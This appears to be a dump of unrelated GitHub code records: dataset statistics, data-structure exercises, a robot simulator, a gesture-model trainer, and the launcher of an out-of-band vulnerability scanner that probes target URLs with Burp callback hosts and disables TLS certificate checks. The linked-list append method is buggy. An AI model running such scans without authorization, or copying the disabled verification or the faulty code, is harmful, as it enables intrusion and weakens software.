0:\n clause_str += AGG_OPS[unit[2][2][0]] + \" \"\n for unit in having:\n if type(unit) != str:\n if type(unit[3]) == dict or type(unit[4]) == dict:\n clause_str += \"SUBQUERY \"\n break\n clause_str += delimiter\n\n # order by clause\n order_by = sql_dict.get('orderBy')\n if order_by:\n clause_str += \"ORDER BY \" + order_by[0] + \" \"\n no_clauses += 1\n clause_str += delimiter\n\n # limit clause\n limit = sql_dict.get('limit')\n if limit:\n clause_str += \"LIMIT \" + str(limit) + \" \"\n no_clauses += 1\n clause_str += delimiter\n\n # union clause\n union = sql_dict.get('union')\n if union:\n clause_str += \"UNION \"\n no_clauses += 1\n clause_str += delimiter\n\n # intersect clause\n intersect = sql_dict.get('intersect')\n if intersect:\n clause_str += \"INTERSECT \"\n no_clauses += 1\n clause_str += delimiter\n\n # except clause\n if sql_dict.get('except'):\n clause_str += \"EXCEPT \"\n no_clauses += 1\n clause_str += delimiter\n\n # number of clauses\n clause_str += str(no_clauses)\n\n return clause_str\n\n\ndef analyse_dataset(dataset_name):\n \"\"\"\n Prints statistics on the gold queries for a given dataset\n \"\"\"\n delimiter = '|'\n query_data = []\n\n dataset_file = f\"../../dataset_files/{dataset_name}/\"\n if dataset_name == \"spider_dk\":\n dataset_file += \"spider-DK.json\"\n else:\n dataset_file += \"dev.json\"\n\n with open(dataset_file, 'r') as input_file:\n instances = json.load(input_file)\n for i in instances:\n instance_str = \"\"\n\n # Append statistics to a string\n instance_str += i['query']\n instance_str += f\" {delimiter} \"\n instance_str += i['question']\n instance_str += f\" {delimiter} \"\n instance_str += eval_hardness(i['sql'])\n instance_str += f\" {delimiter} \"\n instance_str += form_clause_str(i['sql'], delimiter)\n instance_str += f\" {delimiter}\"\n instance_str += str(len(i['query']))\n instance_str += f\" {delimiter}\"\n instance_str += str(len(i['question']))\n\n query_data.append(instance_str)\n\n out_filename = f\"../../dataset_files/statistics/{dataset_name}.txt\"\n\n with open(out_filename, 'w') as output_file:\n for q in query_data:\n output_file.write(q + '\\n')\n\n print(f\"Wrote result to {out_filename}\")\n print('Result can be pasted into Google Sheets with Ctrl-V --> click Paste Options at bottom-right --> Split text to columns --> Change separator --> Custom --> Type \"|\" --> Enter')\n\n\nif __name__ == \"__main__\":\n if len(sys.argv) != 2:\n print(\"analyse_dataset() takes 1 argument: the dataset name, e.g. spider\")\n else:\n dataset_name = sys.argv[1]\n analyse_dataset(dataset_name)\n","repo_name":"yazdipour/text-to-sql-seoss-t5","sub_path":"seq2seq/eval_spider/analyse_dataset.py","file_name":"analyse_dataset.py","file_ext":"py","file_size_in_byte":6007,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"19249354273","text":"# -*- coding: utf-8 -*-\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 2 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,\n# MA 02110-1301, USA.\n#\n# Author: Damian Schwyrz\n\nimport sys\n\nif sys.version_info < (3, 0):\n sys.stdout.write(\"Sorry, requires Python 3.x\\n\")\n sys.exit(1)\n\nfrom inc.worker import WorkerThread\nfrom inc.arguments import getArguments\nfrom inc.urllist import get_urls\nfrom inc.testdata import create_test_data\nimport queue\nimport ssl\nimport time\n\nssl._create_default_https_context = ssl._create_unverified_context\n\ndef main():\n burp_url, wo_burp_extend, url_list, max_threads, method, timeout = getArguments()\n\n urls = get_urls(url_list)\n\n test_data = create_test_data(urls, method, burp_url, wo_burp_extend, timeout)\n\n print(\"\\033[32m[ i ]\\033[0m Starting with scan of {} targets using {}\".format(len(test_data), method))\n\n if wo_burp_extend:\n\n print(\"\\033[32m[ i ]\\033[0m Callback url: http://{}\".format(burp_url))\n\n else:\n\n print(\"\\033[32m[ i ]\\033[0m Callback url: http://{}.{}\".format(\"%HOSTNAME%\", burp_url))\n\n print(\"\\033[32m[ i ]\\033[0m Threads: {}\".format(max_threads))\n\n print(\"\\033[32m[ i ]\\033[0m HTTP Timeout: {}\".format(timeout))\n\n print(\"\\033[32m[ i ]\\033[0m HTTP Method: {}\".format(method))\n\n time.sleep(3)\n\n queue_all = queue.Queue()\n\n threads = []\n\n for i in range(0, max_threads):\n print(\"\\033[32m[ i ]\\033[0m Worker {} started...\".format(i))\n worker = WorkerThread(queue_all, i)\n worker.setDaemon(True)\n worker.start()\n threads.append(worker)\n\n for data in test_data:\n queue_all.put(data)\n\n for item in threads:\n item.join()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Damian89/simple-oob-scanner","sub_path":"simple-oob-scanner.py","file_name":"simple-oob-scanner.py","file_ext":"py","file_size_in_byte":2333,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"82"} +{"seq_id":"20829616296","text":"class Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n def __init__(self):\n self.head = None\n\n def _add_to_beginning(self, data):\n temp = Node(data)\n if self.head is None:\n self.head = temp\n else:\n temp.next = self.head\n self.head = temp\n\n def _append(self, data):\n temp = Node(data)\n if self.head is None:\n self.head = temp\n else:\n current = self.head\n while current != None:\n current = current.next\n\n current.next = temp\n\n def _search(self, key):\n if self.head is None:\n return\n\n current = self.head\n while current != None and current.data != key:\n current = current.next\n\n if current is None: return False\n if current.data == key: return True\n\n def __repr__(self):\n current = self.head\n print_list = []\n while current != None:\n print_list.append(current.data)\n current = current.next\n\n print(print_list)\n\n def _remove(self, key):\n \"remove only the first occurence\"\n\n if self.head is None: return\n\n previous = None\n current = self.head\n\n while current != None and current.data != key:\n previous = current\n current = current.next\n\n if previous is None:\n self.head = current.next\n elif current:\n previous.next = current.next\n current.next = None\n\n\ndef main():\n ll = LinkedList()\n ll._add_to_beginning(5)\n ll._add_to_beginning(50)\n ll._add_to_beginning(100)\n ll.__repr__()\n\n #print (ll._search(50))\n print(ll._search(-50))\n\n ll._remove(100)\n ll.__repr__()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"akshatakulkarni98/ProblemSolving","sub_path":"DataStructures/linkedlist/linked_list.py","file_name":"linked_list.py","file_ext":"py","file_size_in_byte":1850,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"38288049852","text":"numbers = [float(x) for x in input().split()]\n\ndictionary = {}\n\nfor el in numbers:\n if el not in dictionary:\n dictionary[el] = 0\n dictionary[el] += 1\n\nfor number, count in dictionary.items():\n print(f\"{number:.1f} - {count} times\")\n","repo_name":"Dzhevizov/SoftUni-Python-Advanced-course","sub_path":"Tuples and Sets - Lab/01. Count Same Values.py","file_name":"01. Count Same Values.py","file_ext":"py","file_size_in_byte":248,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"41752751104","text":"# Method-2 Using pointers\n\ndef threeConsecutiveOdds(lst):\n oddCount = 0\n length = len(lst)\n \n for i in range(0, length - 2):\n one = i\n two = i + 1\n three = i + 2\n \n if lst[one] % 2 != 0 and lst[two] % 2 != 0 and lst[three] % 2 != 0:\n return True\n \n return False\n\n# Time Complexity : O(n)\n# Space Complexity : O(1)","repo_name":"OrionJoshi/Competitive_Programming","sub_path":"59.Three Consecutive Odds/Method-2.py","file_name":"Method-2.py","file_ext":"py","file_size_in_byte":385,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"82"} +{"seq_id":"10653217261","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Mar 13 23:37:35 2020\n\n@author: massimacbookpro\n\"\"\"\n\nimport numpy as np \n\nfrom Modules import *\n\n\nclass RedZone:\n #This class defines the No Go zones where the robot is not permitted to go.\n \n def __init__(self,bottom_left,top_right):\n self.bottom_left = bottom_left\n self.top_right = top_right\n \n \n def is_robot_in(self,bottom_left,top_right):\n xl = self.bottom_left[0]\n xr = self.top_right[0]\n yb = self.bottom_left[1]\n yt = self.top_right[1]\n \n \n for x,y in [top_right,bottom_left]:\n if x>=xl and x<=xr and y>=yb and y<=yt:\n return True\n\n return False\n \nclass Grid:\n #This class defines the mesh or grid, i.e. a descretizaiton of the world\n #it will be used to store the robot cleaned area\n def __init__(self, bottom_left, top_right, ncells):\n \n self.cells = np.zeros((ncells,ncells)) #creat a grid of size ncells x ncells\n \n self.cells_init = np.zeros((ncells,ncells)) #keep a persistant copy of the init world \n \n x = np.linspace(bottom_left[0],top_right[0],ncells) \n y = np.linspace(bottom_left[1],top_right[1],ncells) \n X,Y = np.meshgrid(x, y, indexing='ij')\n self.X = X\n self.Y = Y\n \n def reinitialize(self):\n #reinit the cells value to zeros\n \n self.cells = self.cells_init.copy() \n \n def fill_robot(self, pos, rad):\n #fill the cells that represent the area that is cleaned now by the robot\n Z = (((self.X-pos[0])**2 + (self.Y-pos[1])**2)<= rad**2).astype(self.cells.dtype)\n self.cells += Z\n \n def fill_path(self,robot):\n #robot is an instance of the class Robot\n xs,ys,rad = robot.get_path()\n \n for pos in zip(xs,ys):\n self.fill_robot(pos,rad)\n \n def fill_rect(self,bottom_left,length,width):\n #fill the cells that represent an obstacle with value -1\n xc = self.X-bottom_left[0]\n yc = self.Y-bottom_left[1]\n Z = (xc <= width).astype(self.cells.dtype)*(xc >=0).astype(self.cells.dtype)\n Z *= (yc <= length).astype(self.cells.dtype) * (yc >=0).astype(self.cells.dtype)\n Z *= -1\n self.cells += Z\n self.cells_init = self.cells.copy()\n \n def get_cells(self):\n return self.cells\n \n \n \n \n \n \n \n \n \n \nclass World:\n \n #In this, the scene or the environnement where the robot will move is defined. \n #It handles the clock ticks, the collisions ..etc\n #The world is defined by a list of list of go and rectanglar NoGo zones. \n \n \n def __init__(self, robot, bottom_left, top_right,dt=.1,ncells=100):\n self.robot = robot\n self.bottom_left = bottom_left\n self.top_right = top_right\n self.nogo_zones = []\n self.time = 0\n self.dt = dt\n self.grid = Grid(bottom_left, top_right, ncells)\n \n def add_RedZone(self,bottom_left,top_right, update_grid=True):\n #Add a no go zone that the robot should avoid to collide with\n self.nogo_zones.append(RedZone(bottom_left,top_right))\n length = top_right[0]-bottom_left[0]\n width = top_right[1]-bottom_left[1]\n self.grid.fill_rect(bottom_left, length, width)\n \n \n \n \n def is_robot_in(self,bottom_left,top_right):\n #Check if the robot is in the world\n #True if the robot is in the world otherwise false\n xl = self.bottom_left[0]\n xr = self.top_right[0]\n yb = self.bottom_left[1]\n yt = self.top_right[1]\n \n res = True\n for x,y in [top_right,bottom_left]:\n if not(x>=xl and x<=xr and y>=yb and y<=yt):\n res &= False\n \n\n return res\n\n\n def isCollision(self,x=None,y=None):\n #check if a collision occured\n #True if occured otherwise False\n for red_zone in self.nogo_zones:\n if red_zone.is_robot_in(*self.robot.get_BoundingBox(x,y)):\n return True\n \n \n return not self.is_robot_in(*self.robot.get_BoundingBox(x,y))\n \n \n \n def step(self,t):\n #move the robot for one time step.\n #Check the collision and the other canditions\n x,y,th = self.robot.get_next(dt=self.dt)\n heading = th\n while self.isCollision(x,y):\n heading = self.robot.get_control(self) #get a control strategy (heading angle) either randomely or more smartly\n x,y,th = self.robot.get_next(u=heading,dt=self.dt)\n \n self.robot.move(x,y,th,t)\n self.robot.update_control(heading)\n return x,y,t\n \n \n def run(self,final_time,fill_grid=True):\n #run the world until the clock hit the final_timme value\n #if fill_grid is True, update the cells that are covered in the Grid\n t=0\n \n while t0)[0].shape[0]-obs_cells[0].shape[0])/(n*m-obs_cells[0].shape[0])\n return (np.nonzero(Z>0)[0].shape[0])/(np.nonzero(Z>=0)[0].shape[0])\n \n \n def reinitialize(self,random_init_pos=True):\n #reinitialize the world with random postion if random_init_pos is true\n if random_init_pos:\n r_pos = self.get_random_pos() #random valid position\n th0 = np.random.choice(self.robot.controls_list)\n else:\n *r_pos,th0 = self.robot.pos[0]\n # print(r_pos, th0)\n self.robot.reinitialize((r_pos[0],r_pos[1],th0))\n self.grid.reinitialize()\n self.time = 0\n \n \n \n \n \n \n \n \n \n \n \n \n \n ","repo_name":"Massi0/Divers","sub_path":"Solutions_Vicarious_Test/Code/Problem_1_ simulation/Modules/World.py","file_name":"World.py","file_ext":"py","file_size_in_byte":7122,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"71033630670","text":"import os\nimport sys\n\nimport torch\nfrom torch.optim.lr_scheduler import StepLR\n\nsys.path.append(os.getcwd())\n\nfrom nets.layers import *\nfrom nets.base import TrainWrapperBaseClass\nfrom nets.spg.gated_pixelcnn_v2 import GatedPixelCNN as pixelcnn\nfrom nets.spg.vqvae_1d import VQVAE as s2g_body, Wav2VecEncoder\nfrom nets.spg.vqvae_1d import AudioEncoder\nfrom nets.utils import parse_audio, denormalize\nfrom data_utils import get_mfcc, get_melspec, get_mfcc_old, get_mfcc_psf, get_mfcc_psf_min, get_mfcc_ta\nimport numpy as np\nimport torch.optim as optim\nimport torch.nn.functional as F\nfrom sklearn.preprocessing import normalize\n\nfrom data_utils.lower_body import c_index, c_index_3d, c_index_6d\nfrom data_utils.utils import smooth_geom, get_mfcc_sepa\n\n\nclass TrainWrapper(TrainWrapperBaseClass):\n '''\n a wrapper receving a batch from data_utils and calculate loss\n '''\n\n def __init__(self, args, config):\n self.args = args\n self.config = config\n self.device = torch.device(self.args.gpu)\n self.global_step = 0\n\n self.convert_to_6d = self.config.Data.pose.convert_to_6d\n self.expression = self.config.Data.pose.expression\n self.epoch = 0\n self.init_params()\n self.num_classes = 4\n self.audio = True\n self.composition = self.config.Model.composition\n self.bh_model = self.config.Model.bh_model\n\n if self.audio:\n self.audioencoder = AudioEncoder(in_dim=64, num_hiddens=256, num_residual_layers=2, num_residual_hiddens=256).to(self.device)\n else:\n self.audioencoder = None\n if self.convert_to_6d:\n dim, layer = 512, 10\n else:\n dim, layer = 256, 15\n self.generator = pixelcnn(2048, dim, layer, self.num_classes, self.audio, self.bh_model).to(self.device)\n self.g_body = s2g_body(self.each_dim[1], embedding_dim=64, num_embeddings=config.Model.code_num, num_hiddens=1024,\n num_residual_layers=2, num_residual_hiddens=512).to(self.device)\n self.g_hand = s2g_body(self.each_dim[2], embedding_dim=64, num_embeddings=config.Model.code_num, num_hiddens=1024,\n num_residual_layers=2, num_residual_hiddens=512).to(self.device)\n\n model_path = self.config.Model.vq_path\n model_ckpt = torch.load(model_path, map_location=torch.device('cpu'))\n self.g_body.load_state_dict(model_ckpt['generator']['g_body'])\n self.g_hand.load_state_dict(model_ckpt['generator']['g_hand'])\n\n if torch.cuda.device_count() > 1:\n self.g_body = torch.nn.DataParallel(self.g_body, device_ids=[0, 1])\n self.g_hand = torch.nn.DataParallel(self.g_hand, device_ids=[0, 1])\n self.generator = torch.nn.DataParallel(self.generator, device_ids=[0, 1])\n if self.audioencoder is not None:\n self.audioencoder = torch.nn.DataParallel(self.audioencoder, device_ids=[0, 1])\n\n self.discriminator = None\n if self.convert_to_6d:\n self.c_index = c_index_6d\n else:\n self.c_index = c_index_3d\n\n super().__init__(args, config)\n\n def init_optimizer(self):\n\n print('using Adam')\n self.generator_optimizer = optim.Adam(\n self.generator.parameters(),\n lr=self.config.Train.learning_rate.generator_learning_rate,\n betas=[0.9, 0.999]\n )\n if self.audioencoder is not None:\n opt = self.config.Model.AudioOpt\n if opt == 'Adam':\n self.audioencoder_optimizer = optim.Adam(\n self.audioencoder.parameters(),\n lr=self.config.Train.learning_rate.generator_learning_rate,\n betas=[0.9, 0.999]\n )\n else:\n print('using SGD')\n self.audioencoder_optimizer = optim.SGD(\n filter(lambda p: p.requires_grad,self.audioencoder.parameters()),\n lr=self.config.Train.learning_rate.generator_learning_rate*10,\n momentum=0.9,\n nesterov=False,\n )\n\n def state_dict(self):\n model_state = {\n 'generator': self.generator.state_dict(),\n 'generator_optim': self.generator_optimizer.state_dict(),\n 'audioencoder': self.audioencoder.state_dict() if self.audio else None,\n 'audioencoder_optim': self.audioencoder_optimizer.state_dict() if self.audio else None,\n 'discriminator': self.discriminator.state_dict() if self.discriminator is not None else None,\n 'discriminator_optim': self.discriminator_optimizer.state_dict() if self.discriminator is not None else None\n }\n return model_state\n\n def load_state_dict(self, state_dict):\n\n from collections import OrderedDict\n new_state_dict = OrderedDict() # create new OrderedDict that does not contain `module.`\n for k, v in state_dict.items():\n sub_dict = OrderedDict()\n if v is not None:\n for k1, v1 in v.items():\n name = k1.replace('module.', '')\n sub_dict[name] = v1\n new_state_dict[k] = sub_dict\n state_dict = new_state_dict\n if 'generator' in state_dict:\n self.generator.load_state_dict(state_dict['generator'])\n else:\n self.generator.load_state_dict(state_dict)\n\n if 'generator_optim' in state_dict and self.generator_optimizer is not None:\n self.generator_optimizer.load_state_dict(state_dict['generator_optim'])\n\n if self.discriminator is not None:\n self.discriminator.load_state_dict(state_dict['discriminator'])\n\n if 'discriminator_optim' in state_dict and self.discriminator_optimizer is not None:\n self.discriminator_optimizer.load_state_dict(state_dict['discriminator_optim'])\n\n if 'audioencoder' in state_dict and self.audioencoder is not None:\n self.audioencoder.load_state_dict(state_dict['audioencoder'])\n\n def init_params(self):\n if self.config.Data.pose.convert_to_6d:\n scale = 2\n else:\n scale = 1\n\n global_orient = round(0 * scale)\n leye_pose = reye_pose = round(0 * scale)\n jaw_pose = round(0 * scale)\n body_pose = round((63 - 24) * scale)\n left_hand_pose = right_hand_pose = round(45 * scale)\n if self.expression:\n expression = 100\n else:\n expression = 0\n\n b_j = 0\n jaw_dim = jaw_pose\n b_e = b_j + jaw_dim\n eye_dim = leye_pose + reye_pose\n b_b = b_e + eye_dim\n body_dim = global_orient + body_pose\n b_h = b_b + body_dim\n hand_dim = left_hand_pose + right_hand_pose\n b_f = b_h + hand_dim\n face_dim = expression\n\n self.dim_list = [b_j, b_e, b_b, b_h, b_f]\n self.full_dim = jaw_dim + eye_dim + body_dim + hand_dim\n self.pose = int(self.full_dim / round(3 * scale))\n self.each_dim = [jaw_dim, eye_dim + body_dim, hand_dim, face_dim]\n\n def __call__(self, bat):\n # assert (not self.args.infer), \"infer mode\"\n self.global_step += 1\n\n total_loss = None\n loss_dict = {}\n\n aud, poses = bat['aud_feat'].to(self.device).to(torch.float32), bat['poses'].to(self.device).to(torch.float32)\n\n id = bat['speaker'].to(self.device) - 20\n # id = F.one_hot(id, self.num_classes)\n\n poses = poses[:, self.c_index, :]\n\n aud = aud.permute(0, 2, 1)\n gt_poses = poses.permute(0, 2, 1)\n\n with torch.no_grad():\n self.g_body.eval()\n self.g_hand.eval()\n if torch.cuda.device_count() > 1:\n _, body_latents = self.g_body.module.encode(gt_poses=gt_poses[..., :self.each_dim[1]], id=id)\n _, hand_latents = self.g_hand.module.encode(gt_poses=gt_poses[..., self.each_dim[1]:], id=id)\n else:\n _, body_latents = self.g_body.encode(gt_poses=gt_poses[..., :self.each_dim[1]], id=id)\n _, hand_latents = self.g_hand.encode(gt_poses=gt_poses[..., self.each_dim[1]:], id=id)\n latents = torch.cat([body_latents.unsqueeze(dim=-1), hand_latents.unsqueeze(dim=-1)], dim=-1)\n latents = latents.detach()\n\n if self.audio:\n audio = self.audioencoder(aud[:, :].transpose(1, 2), frame_num=latents.shape[1]*4).unsqueeze(dim=-1).repeat(1, 1, 1, 2)\n logits = self.generator(latents[:, :], id, audio)\n else:\n logits = self.generator(latents, id)\n logits = logits.permute(0, 2, 3, 1).contiguous()\n\n self.generator_optimizer.zero_grad()\n if self.audio:\n self.audioencoder_optimizer.zero_grad()\n\n loss = F.cross_entropy(logits.view(-1, logits.shape[-1]), latents.view(-1))\n loss.backward()\n\n grad = torch.nn.utils.clip_grad_norm(self.generator.parameters(), self.config.Train.max_gradient_norm)\n\n if torch.isnan(grad).sum() > 0:\n print('fuck')\n\n loss_dict['grad'] = grad.item()\n loss_dict['ce_loss'] = loss.item()\n self.generator_optimizer.step()\n if self.audio:\n self.audioencoder_optimizer.step()\n\n return total_loss, loss_dict\n\n def infer_on_audio(self, aud_fn, initial_pose=None, norm_stats=None, exp=None, var=None, w_pre=False, rand=None,\n continuity=False, id=None, fps=15, sr=22000, B=1, am=None, am_sr=None, frame=0,**kwargs):\n '''\n initial_pose: (B, C, T), normalized\n (aud_fn, txgfile) -> generated motion (B, T, C)\n '''\n output = []\n\n assert self.args.infer, \"train mode\"\n self.generator.eval()\n self.g_body.eval()\n self.g_hand.eval()\n\n if continuity:\n aud_feat, gap = get_mfcc_sepa(aud_fn, sr=sr, fps=fps)\n else:\n aud_feat = get_mfcc_ta(aud_fn, sr=sr, fps=fps, smlpx=True, type='mfcc', am=am)\n aud_feat = aud_feat.transpose(1, 0)\n aud_feat = aud_feat[np.newaxis, ...].repeat(B, axis=0)\n aud_feat = torch.tensor(aud_feat, dtype=torch.float32).to(self.device)\n\n if id is None:\n id = torch.tensor([0]).to(self.device)\n else:\n id = id.repeat(B)\n\n with torch.no_grad():\n aud_feat = aud_feat.permute(0, 2, 1)\n if continuity:\n self.audioencoder.eval()\n pre_pose = {}\n pre_pose['b'] = pre_pose['h'] = None\n pre_latents, pre_audio, body_0, hand_0 = self.infer(aud_feat[:, :gap], frame, id, B, pre_pose=pre_pose)\n pre_pose['b'] = body_0[:, :, -4:].transpose(1,2)\n pre_pose['h'] = hand_0[:, :, -4:].transpose(1,2)\n _, _, body_1, hand_1 = self.infer(aud_feat[:, gap:], frame, id, B, pre_latents, pre_audio, pre_pose)\n body = torch.cat([body_0, body_1], dim=2)\n hand = torch.cat([hand_0, hand_1], dim=2)\n\n else:\n if self.audio:\n self.audioencoder.eval()\n audio = self.audioencoder(aud_feat.transpose(1, 2), frame_num=frame).unsqueeze(dim=-1).repeat(1, 1, 1, 2)\n latents = self.generator.generate(id, shape=[audio.shape[2], 2], batch_size=B, aud_feat=audio)\n else:\n latents = self.generator.generate(id, shape=[aud_feat.shape[1]//4, 2], batch_size=B)\n\n body_latents = latents[..., 0]\n hand_latents = latents[..., 1]\n\n body, _ = self.g_body.decode(b=body_latents.shape[0], w=body_latents.shape[1], latents=body_latents)\n hand, _ = self.g_hand.decode(b=hand_latents.shape[0], w=hand_latents.shape[1], latents=hand_latents)\n\n pred_poses = torch.cat([body, hand], dim=1).transpose(1,2).cpu().numpy()\n\n output = pred_poses\n\n return output\n\n def infer(self, aud_feat, frame, id, B, pre_latents=None, pre_audio=None, pre_pose=None):\n audio = self.audioencoder(aud_feat.transpose(1, 2), frame_num=frame).unsqueeze(dim=-1).repeat(1, 1, 1, 2)\n latents = self.generator.generate(id, shape=[audio.shape[2], 2], batch_size=B, aud_feat=audio,\n pre_latents=pre_latents, pre_audio=pre_audio)\n\n body_latents = latents[..., 0]\n hand_latents = latents[..., 1]\n\n body, _ = self.g_body.decode(b=body_latents.shape[0], w=body_latents.shape[1],\n latents=body_latents, pre_state=pre_pose['b'])\n hand, _ = self.g_hand.decode(b=hand_latents.shape[0], w=hand_latents.shape[1],\n latents=hand_latents, pre_state=pre_pose['h'])\n\n return latents, audio, body, hand\n\n def generate(self, aud, id, frame_num=0):\n\n self.generator.eval()\n self.g_body.eval()\n self.g_hand.eval()\n aud_feat = aud.permute(0, 2, 1)\n if self.audio:\n self.audioencoder.eval()\n audio = self.audioencoder(aud_feat.transpose(1, 2), frame_num=frame_num).unsqueeze(dim=-1).repeat(1, 1, 1, 2)\n latents = self.generator.generate(id, shape=[audio.shape[2], 2], batch_size=aud.shape[0], aud_feat=audio)\n else:\n latents = self.generator.generate(id, shape=[aud_feat.shape[1] // 4, 2], batch_size=aud.shape[0])\n\n body_latents = latents[..., 0]\n hand_latents = latents[..., 1]\n\n body = self.g_body.decode(b=body_latents.shape[0], w=body_latents.shape[1], latents=body_latents)\n hand = self.g_hand.decode(b=hand_latents.shape[0], w=hand_latents.shape[1], latents=hand_latents)\n\n pred_poses = torch.cat([body, hand], dim=1).transpose(1, 2)\n return pred_poses\n","repo_name":"yhw-yhw/TalkSHOW","sub_path":"nets/smplx_body_pixel.py","file_name":"smplx_body_pixel.py","file_ext":"py","file_size_in_byte":13798,"program_lang":"python","lang":"en","doc_type":"code","stars":178,"dataset":"github-code","pt":"82"} +{"seq_id":"37624502173","text":"# https://www.codechef.com/problems/DIVSUBS\n\n# You are given a multiset of N integers. Please find such a nonempty subset of it that the sum of the subset's elements is divisible by N. Otherwise, state that this subset doesn't exist.\n# Input\n# The first line of the input contains an integer T denoting the number of test cases. The description of T test cases follows. \n# The first line of each test consists of a single integer N - the size of the multiset.\n# The second line of each test contains N single space separated integers - the multiset's elements.\n# Output\n# For each test case output:\n# -1 if the required subset doesn't exist\n# If the required subset exists, output two lines. Output the size of the subset on the first line and output the list of indices of the multiset's element that form the required subset. Of course, any number can be taken in the subset no more than once.\n# If there are several such subsets, you can output any.\n\nimport copy\ndef divsub(nums):\n l = len(nums)\n op_list = list()\n for i in range(l):\n sum = nums[i]\n t_op = [i]\n if sum%l == 0:\n op_list.append([i])\n for j in range(i+1,l):\n sum += nums[j]\n t_op.append(j)\n if sum%l == 0:\n # print(sum)\n op_list.append(copy.deepcopy(t_op))\n \n\n l_ret = len(op_list)\n if l_ret == 0:\n return -1,[]\n return l_ret, op_list\n\n\ndef divsub2(nums):\n l = len(nums)\n cum_sum = [0 for i in range(l)]\n cum_sum[0] = nums[0]\n for idx in range(1,l):\n cum_sum[idx] = cum_sum[idx-1] + nums[idx]\n \n mod_freq = dict()\n for idx in range(l):\n mod = cum_sum[idx]%l\n if mod == 0:\n left = 0\n right = idx\n break\n if mod in mod_freq.keys():\n left = mod_freq[mod]+1\n right = idx\n break\n mod_freq[mod] = idx\n\n\n print(\"Input\",nums, l)\n print(\"Output size\",right-left + 1)\n for i in range(left,right+1):\n print(\"Output elements\",nums[i],end=\" \")\n print()\n\n\nprint(divsub([4,6,10]))\nprint(divsub([4,6,10,9]))\nprint(divsub([4,6,10,9,5]))\n\nprint(\"*************\")\ndivsub2([4,6,10])\ndivsub2([4,6,10,9])\ndivsub2([4,6,10,9,5])\n\n\n\n# (1, [[1]])\n# (3, [[0], [0, 1, 2], [1, 2]])\n# (6, [[0, 1], [0, 1, 2], [1, 2, 3], [1, 2, 3, 4], [2], [4]])\n# *************\n# Input [4, 6, 10] 3\n# Output size 1\n# Output elements 6 \n# Input [4, 6, 10, 9] 4\n# Output size 1\n# Output elements 4 \n# Input [4, 6, 10, 9, 5] 5\n# Output size 2\n# Output elements 4 Output elements 6 \n","repo_name":"joysn/general_algo","sub_path":"divsubs.py","file_name":"divsubs.py","file_ext":"py","file_size_in_byte":2581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"25911975868","text":"from funproject import settings\nfrom django.contrib import messages\nfrom django.core.mail import message, send_mail\nfrom django.http import HttpResponseRedirect\nfrom django.shortcuts import render, get_object_or_404, redirect\nfrom django.template.loader import render_to_string\nfrom django.urls import reverse, reverse_lazy\nfrom django.utils.html import strip_tags\nfrom django.views.generic import (ListView, DetailView, CreateView, UpdateView, DeleteView)\nfrom .forms import AnnouncementForm, CommentForm\nfrom .models import Announcement, Comment, Profile\n\n\n# Create your views here.\n\nclass MyResponsesView(ListView):\n model = Comment\n template_name = 'my_responses.html'\n context_object_name = 'comments'\n\n def get_queryset(self):\n queryset = super().get_queryset().filter(announcement__author=self.request.user)\n announcement_id = self.request.GET.get('announcement')\n if announcement_id:\n queryset = queryset.filter(announcement_id=announcement_id)\n return queryset\n\n\ndef my_responses(request):\n user = request.user\n if request.method == 'POST':\n if 'accept_comment' in request.POST:\n comment_id = request.POST.get('accept_comment')\n comment = Comment.objects.get(pk=comment_id)\n comment.delete() # Delete the comment from the database\n\n if 'delete_comment' in request.POST:\n comment_id = request.POST.get('delete_comment')\n comment = Comment.objects.get(pk=comment_id)\n comment.delete() # Delete the comment from the database\n\n comments = Comment.objects.filter(announcement__author=user)\n announcements = Announcement.objects.filter(author=user)\n return render(request, 'my_responses.html', {'comments': comments, 'announcements': announcements})\n\n\ndef delete_comment(request, pk):\n comment = get_object_or_404(Comment, pk=pk)\n if comment.announcement.author == request.user:\n comment.delete()\n messages.success(request, 'Comment deleted successfully.')\n else:\n messages.error(request, 'You do not have permission to delete this comment.')\n return redirect('my_responses')\n\n\ndef accept_comment(request, pk):\n comment = get_object_or_404(Comment, pk=pk)\n if comment.announcement.author == request.user:\n announcement = comment.announcement\n announcement.comments.add(comment) # Add the comment to the announcement\n comment.is_accepted = True # Set the comment as accepted\n comment.save()\n announcement.save()\n\n send_mail(\n subject='Действия с вашим откликом',\n message=f'Ваш отклик \"{comment.content}\" к \"{comment.announcement.title}\" был одобрен',\n from_email=settings.DEFAULT_FROM_EMAIL,\n recipient_list=[comment.user.email],\n )\n messages.success(request, 'Comment accepted and added to the announcement.')\n else:\n messages.error(request, 'You do not have permission to accept this comment.')\n return redirect('my_responses')\n\n\ndef home(request):\n return render(request, 'home.html', {})\n\n\ndef profile_list(request):\n if request.user.is_authenticated:\n profiles = Profile.objects.exclude(user=request.user)\n return render(request, 'profile_list.html', {\"profiles\": profiles})\n else:\n messages.success(request, (\"You must be logged in to view this page.\"))\n return redirect('home')\n\n\ndef profile(request, pk):\n if request.user.is_authenticated:\n profile = Profile.objects.get(user_id=pk)\n ads = Announcement.objects.filter(author_id=pk).order_by(\"-date_added\")\n\n if request.method == \"POST\":\n current_user_profile = request.user.profile\n action = request.POST['follow']\n if action == \"unfollow\":\n 